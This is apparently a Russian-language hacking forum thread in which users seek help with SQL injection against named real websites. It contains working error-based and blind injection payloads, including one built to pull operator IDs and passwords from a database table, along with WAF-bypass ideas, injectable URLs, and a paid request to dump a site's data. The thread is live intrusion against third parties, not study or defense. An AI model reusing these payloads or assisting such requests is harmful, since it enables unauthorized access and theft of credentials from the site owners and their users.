WAF срабатывает на скобки:

true

false

а вот собственно и таблички:

и да, обрати внимание, что это "НОВОСИБИРСКИЙ ГОСУДАРСТВЕННЫЙ МЕДИЦИНСКИЙ УНИВЕРСИТЕТ"

И забыл совсем про иные варианты команд. А как можно заменять скобки в таких конструкциях как concat? Char, base64?

Хотя для char и base64 тоже нужны скобки.

urlencode, double urlencode, utf encode

Помогите со слепой скулей. скриптик написать или сдампить нужные данные.

https://www.ckbproducts.com/ship_estimator.php?action=process

POST

сдампить нужно

если нужно вознаграждение - в пм или жабу)

На сайте есть файл crossdomain.xml с таким содержимым:

Как это можно использовать?

Blind

Не часто прошу о помощи, но в этот раз не могу понять как докрутить Blind http://occc.com.ua/dl/%22or(ExtractValue(1,concat%280x3a,%28select%28col umn_name%29from%28information_schema.columns%29whe re%60table_name%60=information_schema%20and%28ordi nal_position=1%29%29%29%29%29=%27 Буду примного благодарен за помощь.

http://www.urokrost.ru//forms/form_admin.php?ate=&klass=11&lessonform=1&mnu=4&re gion=2&sessionlogin=1%27

помогите раскрутить

http://sethsec.blogspot.ru/2014/03/exploiting-misconfigured-crossdomainxml.html

что именно не получается? составьте корректный запрос и все нормально

вот пример как вот здесь,почему не выводится,таким запросом

5*(SELECT 1 FROM information_schema.tables WHERE 1 group by concat((select (select (select concat(0x27,unhex(Hex(cast(netzwerk_schnittstelle. betreiber_id as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_passwort as char))),0x5e,unhex(Hex(cast(netzwerk_schnittstelle .betreiber_kennung as char))),0x27) from `mlsvsf_db`.netzwerk_schnittstelle limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2)) having min(0))